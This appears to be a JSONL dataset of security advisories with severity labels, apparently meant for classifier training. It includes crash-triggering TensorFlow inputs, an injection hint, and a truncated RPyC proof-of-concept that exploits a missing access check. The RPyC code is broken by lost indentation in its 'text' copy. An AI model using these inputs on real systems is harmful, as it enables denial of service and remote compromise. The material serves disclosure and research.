-{"id": "d6af9aa6a451369bdd6b", "text": "pterodactyl/panel CSRF allowing an external page to trigger a user logout event\n\n### Impact\nA malicious user can trigger a user logout if a signed in user visits a malicious website that makes a request to the Panel's sign-out endpoint. This requires a targeted attack against a specific Panel instance, and serves only to sign a user out. **No user details are leaked, nor is any user data affected, this is simply an annoyance at worst.**\n\n### Patches\nNone.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory please contact `Tactical Fish#8008` on Discord, or email `dane@pterodactyl.io`.", "text_raw": "pterodactyl/panel CSRF allowing an external page to trigger a user logout event\n\n[Severity: LOW]\n\n### Impact\nA malicious user can trigger a user logout if a signed in user visits a malicious website that makes a request to the Panel's sign-out endpoint. This requires a targeted attack against a specific Panel instance, and serves only to sign a user out. **No user details are leaked, nor is any user data affected, this is simply an annoyance at worst.**\n\n### Patches\nNone.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory please contact `Tactical Fish#8008` on Discord, or email `dane@pterodactyl.io`.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-10-25", "split": "train"}
-{"id": "1d10fc4f10ddd13938f1", "text": "Heap OOB in `ResourceScatterUpdate`\n\n### Impact\nAn attacker can trigger a read from outside of bounds of heap allocated data by sending invalid arguments to `tf.raw_ops.ResourceScatterUpdate`:\n\n```python\nimport tensorflow as tf\n\nv = tf.Variable([b'vvv'])\ntf.raw_ops.ResourceScatterUpdate(\n  resource=v.handle,\n  indices=[0],\n  updates=['1', '2', '3', '4', '5'])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L919-L923) has an incomplete validation of the relationship between the shapes of `indices` and `updates`: instead of checking that the shape of `indices` is a prefix of the shape of `updates` (so that broadcasting can happen), code only checks that the number of elements in these two tensors are in a divisibility relationship.\n\n### Patches \nWe have patched the issue in GitHub commit [01cff3f986259d661103412a20745928c727326f](https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in `ResourceScatterUpdate`\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can trigger a read from outside of bounds of heap allocated data by sending invalid arguments to `tf.raw_ops.ResourceScatterUpdate`:\n\n```python\nimport tensorflow as tf\n\nv = tf.Variable([b'vvv'])\ntf.raw_ops.ResourceScatterUpdate(\n  resource=v.handle,\n  indices=[0],\n  updates=['1', '2', '3', '4', '5'])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L919-L923) has an incomplete validation of the relationship between the shapes of `indices` and `updates`: instead of checking that the shape of `indices` is a prefix of the shape of `updates` (so that broadcasting can happen), code only checks that the number of elements in these two tensors are in a divisibility relationship.\n\n### Patches \nWe have patched the issue in GitHub commit [01cff3f986259d661103412a20745928c727326f](https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9783059ff1247471a225", "text": "Dynamic modification of RPyC service due to missing security check\n\n### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\nclass Foe(object):\n    foo = \"bar\"\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\ndef exposed_nop(self):\n        return\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\ndef myeval(self=None, cmd=\"__import__('sys')\"):\n    return eval(cmd)\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',\n                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',\n                 'co_lnotab', 'co_freevars', 'co_cellvars']\n\ncodetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index('co_filename')] = filename\n    if name:\n        codetype_args[arg_names.index('co_name')] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 > v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 < v2\n            break\n    return ver1_gt_ver2\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n@classmethod\n    def setUpClass(cls):\n\ncls.logger = logging.getLogger('rpyc')\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n@classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\ndef netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')\n\ndef test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')\n        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')\n        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')\n        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')\n        _", "text_raw": "Dynamic modification of RPyC service due to missing security check\n\n[Severity: HIGH]\n\n### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__('sys')\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',\n                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',\n                 'co_lnotab', 'co_freevars', 'co_cellvars']\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index('co_filename')] = filename\n    if name:\n        codetype_args[arg_names.index('co_name')] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 > v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 < v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger('rpyc')\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')\n        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')\n        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')\n        remote_modules = self.netre", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-17", "split": "train"}
-{"id": "e70041ee763324f835c8", "text": "XSS via Angular Expression in ag-grid\n\nAffected versions of `ag-grid` are vulnerable to Cross-site Scripting (XSS) via Angular Expressions, if used in combination with AngularJS.\n\n## Recommendation\n\nAvoid using `ag-grid` in combination with AngularJS until a fix is available.", "text_raw": "XSS via Angular Expression in ag-grid\n\n[Severity: MEDIUM]\n\nAffected versions of `ag-grid` are vulnerable to Cross-site Scripting (XSS) via Angular Expressions, if used in combination with AngularJS.\n\n\n## Recommendation\n\nAvoid using `ag-grid` in combination with AngularJS until a fix is available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5836ba9f8cc8cfc8a440", "text": "iBrowser Plugin v1.4.1 (dir) Remote Cross-Site Scripting Vulnerability", "text_raw": "iBrowser Plugin v1.4.1 (dir) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-17", "split": "train"}
-{"id": "fc36a82aa6d374163be6", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.proxy.provider.remoting.RmiProvider (aka apache/commons-proxy).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.proxy.provider.remoting.RmiProvider (aka apache/commons-proxy).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "83d9a5dc0c9070fc6747", "text": "Sony PC Companion 2.1 (DownloadURLToFile()) Stack-based Unicode Buffer Overload SEH", "text_raw": "Sony PC Companion 2.1 (DownloadURLToFile()) Stack-based Unicode Buffer Overload SEH\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-12-20", "split": "train"}
-{"id": "2afb19d80f4cf0b302dd", "text": "Cross-site scripting in imgURL\n\nimgURL 2.31 allows XSS via an X-Forwarded-For HTTP header.", "text_raw": "Cross-site scripting in imgURL\n\n[Severity: MEDIUM]\n\nimgURL 2.31 allows XSS via an X-Forwarded-For HTTP header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "17ade7d1229fbab09ede", "text": "Malicious Package in bitconijs-lib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitconijs-lib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "ddb053dddc804337b361", "text": "CRLF Injection in pypiserver\n\nCRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a `%0d%0a` in a URI.", "text_raw": "CRLF Injection in pypiserver\n\n[Severity: MEDIUM]\n\nCRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a `%0d%0a` in a URI.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-30", "split": "train"}
-{"id": "82ec99790bd495d77b9e", "text": "Insertion of Sensitive Information into Externally-Accessible File or Directory and Exposure of Sensitive Information to an Unauthorized Actor in hbs\n\nThe npm hbs package is an Express view engine wrapper for Handlebars. Depending on usage, users of hbs may be vulnerable to a file disclosure vulnerability. There is currently no patch for this vulnerability. hbs mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options a file disclosure vulnerability may be triggered in downstream applications. For an example PoC see the referenced GHSL-2021-020.", "text_raw": "Insertion of Sensitive Information into Externally-Accessible File or Directory and Exposure of Sensitive Information to an Unauthorized Actor in hbs\n\n[Severity: MEDIUM]\n\nThe npm hbs package is an Express view engine wrapper for Handlebars. Depending on usage, users of hbs may be vulnerable to a file disclosure vulnerability. There is currently no patch for this vulnerability. hbs mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options a file disclosure vulnerability may be triggered in downstream applications. For an example PoC see the referenced GHSL-2021-020.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "0cbb8ef7c50f1cc02d04", "text": "Mango Automation 2.6.0 CSRF Add Admin Exploit", "text_raw": "Mango Automation 2.6.0 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "be54b365314ed21c837c", "text": "Exponent CMS v0.97 Multiple Vulnerabilities", "text_raw": "Exponent CMS v0.97 Multiple Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-10-14", "split": "train"}
-{"id": "88dcc67bb791d2ed6331", "text": "Security check skip in Apache Dubbo\n\nThe Dubbo Provider will check the incoming request and the corresponding serialization type of this request meet the configuration set by the server. But there's an exception that the attacker can use to skip the security check (when enabled) and reaching a deserialization operation with native java serialization. Apache Dubbo 2.7.13, 3.0.2 fixed this issue by quickly fail when any unrecognized request was found.", "text_raw": "Security check skip in Apache Dubbo\n\n[Severity: CRITICAL]\n\nThe Dubbo Provider will check the incoming request and the corresponding serialization type of this request meet the configuration set by the server. But there's an exception that the attacker can use to skip the security check (when enabled) and reaching a deserialization operation with native java serialization. Apache Dubbo 2.7.13, 3.0.2 fixed this issue by quickly fail when any unrecognized request was found.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-10", "split": "train"}
-{"id": "5282cbb7600622c215e2", "text": "Cross-site Scripting in GwtUpload\n\nThe file-upload feature in GwtUpload 1.0.3 allows XSS via a crafted filename.", "text_raw": "Cross-site Scripting in GwtUpload\n\n[Severity: MEDIUM]\n\nThe file-upload feature in GwtUpload 1.0.3 allows XSS via a crafted filename.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "a87a2df3cfcfffa74abc", "text": "Reference binding to nullptr in `RaggedTensorToVariant`\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToVariant`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToVariant(\n  rt_nested_splits=[],\n  rt_dense_values=[1,2,3],\n  batched_input=True)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_to_variant_op.cc#L129) has an incomplete validation of the splits values, missing the case when the argument would be empty.\n\n### Patches\nWe have patched the issue in GitHub commit [be7a4de6adfbd303ce08be4332554dff70362612](https://github.com/tensorflow/tensorflow/commit/be7a4de6adfbd303ce08be4332554dff70362612).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to nullptr in `RaggedTensorToVariant`\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToVariant`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToVariant(\n  rt_nested_splits=[],\n  rt_dense_values=[1,2,3],\n  batched_input=True)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_to_variant_op.cc#L129) has an incomplete validation of the splits values, missing the case when the argument would be empty.\n\n### Patches\nWe have patched the issue in GitHub commit [be7a4de6adfbd303ce08be4332554dff70362612](https://github.com/tensorflow/tensorflow/commit/be7a4de6adfbd303ce08be4332554dff70362612).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "05ba2a8615d694e137dc", "text": "Rack rubygems receiving excessively long lines triggers out-of-memory error\n\nmultipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to cause a denial of service (memory consumption and out-of-memory error) via a long string in a Multipart HTTP packet.", "text_raw": "Rack rubygems receiving excessively long lines triggers out-of-memory error\n\n[Severity: MEDIUM]\n\nmultipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to cause a denial of service (memory consumption and out-of-memory error) via a long string in a Multipart HTTP packet.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "782d0690a00e15894087", "text": "Segfault in Tensorflow\n\n### Impact\nIn eager mode, TensorFlow does not set the session state. Hence, calling `tf.raw_ops.GetSessionHandle` or `tf.raw_ops.GetSessionHandleV2` results in a null pointer dereference:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/session_ops.cc#L45\n\nIn the above snippet, in eager mode, `ctx->session_state()` returns `nullptr`. Since code immediately dereferences this, we get a segmentation fault.\n\n### Patches\nWe have patched the issue in 9a133d73ae4b4664d22bd1aa6d654fec13c52ee1 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Segfault in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nIn eager mode, TensorFlow does not set the session state. Hence, calling `tf.raw_ops.GetSessionHandle` or `tf.raw_ops.GetSessionHandleV2` results in a null pointer dereference:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/session_ops.cc#L45\n\nIn the above snippet, in eager mode, `ctx->session_state()` returns `nullptr`. Since code immediately dereferences this, we get a segmentation fault.\n\n### Patches\nWe have patched the issue in 9a133d73ae4b4664d22bd1aa6d654fec13c52ee1 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "35994f00fa6c840ee056", "text": "Realtek AP-Router SDK Buffer Overflow Vulnerability\n\nAffected: Realtek AP-Router SDK\n\nRealtek AP-Router SDK HTTP web server boa contains a buffer overflow vulnerability due to unsafe copies of some overly long parameters submitted in the form that lead to denial-of-service (DoS).\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Realtek AP-Router SDK Buffer Overflow Vulnerability\n\nAffected: Realtek AP-Router SDK\n\nRealtek AP-Router SDK HTTP web server boa contains a buffer overflow vulnerability due to unsafe copies of some overly long parameters submitted in the form that lead to denial-of-service (DoS).\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4591b509d3cb0f627c11", "text": "Assumed memory layout of std::net::SocketAddr\n\nThe [`socket2`](https://crates.io/crates/socket2) crate has assumed `std::net::SocketAddrV4`\nand `std::net::SocketAddrV6` have the same memory layout as the system C representation\n`sockaddr`. It has simply casted the pointers to convert the socket addresses to the\nsystem representation. The standard library does not say anything about the memory\nlayout, and this will cause invalid memory access if the standard library\nchanges the implementation. No warnings or errors will be emitted once the\nchange happens.", "text_raw": "Assumed memory layout of std::net::SocketAddr\n\n[Severity: MEDIUM]\n\nThe [`socket2`](https://crates.io/crates/socket2) crate has assumed `std::net::SocketAddrV4`\nand `std::net::SocketAddrV6` have the same memory layout as the system C representation\n`sockaddr`. It has simply casted the pointers to convert the socket addresses to the\nsystem representation. The standard library does not say anything about the memory\nlayout, and this will cause invalid memory access if the standard library\nchanges the implementation. No warnings or errors will be emitted once the\nchange happens.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "be29ef0d83c02f35654e", "text": "sqla-yaml-fixtures is vulnerable to Code Injection\n\nSqla_yaml_fixtures versions up to 0.9.1 allows local users to execute arbitrary python code via the fixture_text argument in `sqla_yaml_fixtures.load`.", "text_raw": "sqla-yaml-fixtures is vulnerable to Code Injection\n\n[Severity: HIGH]\n\nSqla_yaml_fixtures versions up to 0.9.1 allows local users to execute arbitrary python code via the fixture_text argument in `sqla_yaml_fixtures.load`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "4b4746e5b6ea077bea44", "text": "Nokogiri Command Injection Vulnerability\n\nA command injection vulnerability in Nokogiri v1.10.3 and earlier allows commands to be executed in a subprocess via Ruby's `Kernel.open` method. Processes are vulnerable only if the undocumented method `Nokogiri::CSS::Tokenizer#load_file` is being called with unsafe user input as the filename. This vulnerability appears in code generated by the Rexical gem versions v1.0.6 and earlier. Rexical is used by Nokogiri to generate lexical scanner code for parsing CSS queries. The underlying vulnerability was addressed in Rexical v1.0.7 and Nokogiri upgraded to this version of Rexical in Nokogiri v1.10.4.", "text_raw": "Nokogiri Command Injection Vulnerability\n\n[Severity: CRITICAL]\n\nA command injection vulnerability in Nokogiri v1.10.3 and earlier allows commands to be executed in a subprocess via Ruby's `Kernel.open` method. Processes are vulnerable only if the undocumented method `Nokogiri::CSS::Tokenizer#load_file` is being called with unsafe user input as the filename. This vulnerability appears in code generated by the Rexical gem versions v1.0.6 and earlier. Rexical is used by Nokogiri to generate lexical scanner code for parsing CSS queries. The underlying vulnerability was addressed in Rexical v1.0.7 and Nokogiri upgraded to this version of Rexical in Nokogiri v1.10.4.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-19", "split": "train"}
-{"id": "c8843ac26ff785a928e3", "text": "Cross-Site Scripting in wangeditor\n\nAll versions of `wangeditor` are vulnerable to Cross-Site Scripting. The package fails to properly encode output, allowing arbitrary JavaScript to be inserted in links and executed by browsers.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Cross-Site Scripting in wangeditor\n\n[Severity: HIGH]\n\nAll versions of `wangeditor` are vulnerable to Cross-Site Scripting. The package fails to properly encode output, allowing arbitrary JavaScript to be inserted in links and executed by browsers.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "bddcff951772dd2b2199", "text": "Denial of Service in markdown-it-toc-and-anchor\n\nAll versions of `markdown-it-toc-and-anchor` are vulnerable to Denial of Service. Parsing markdown containing `**text**+\\n@[toc]` causes the application to enter and infinite loop.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Denial of Service in markdown-it-toc-and-anchor\n\n[Severity: HIGH]\n\nAll versions of `markdown-it-toc-and-anchor` are vulnerable to Denial of Service. Parsing markdown containing `**text**+\\n@[toc]` causes the application to enter and infinite loop.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
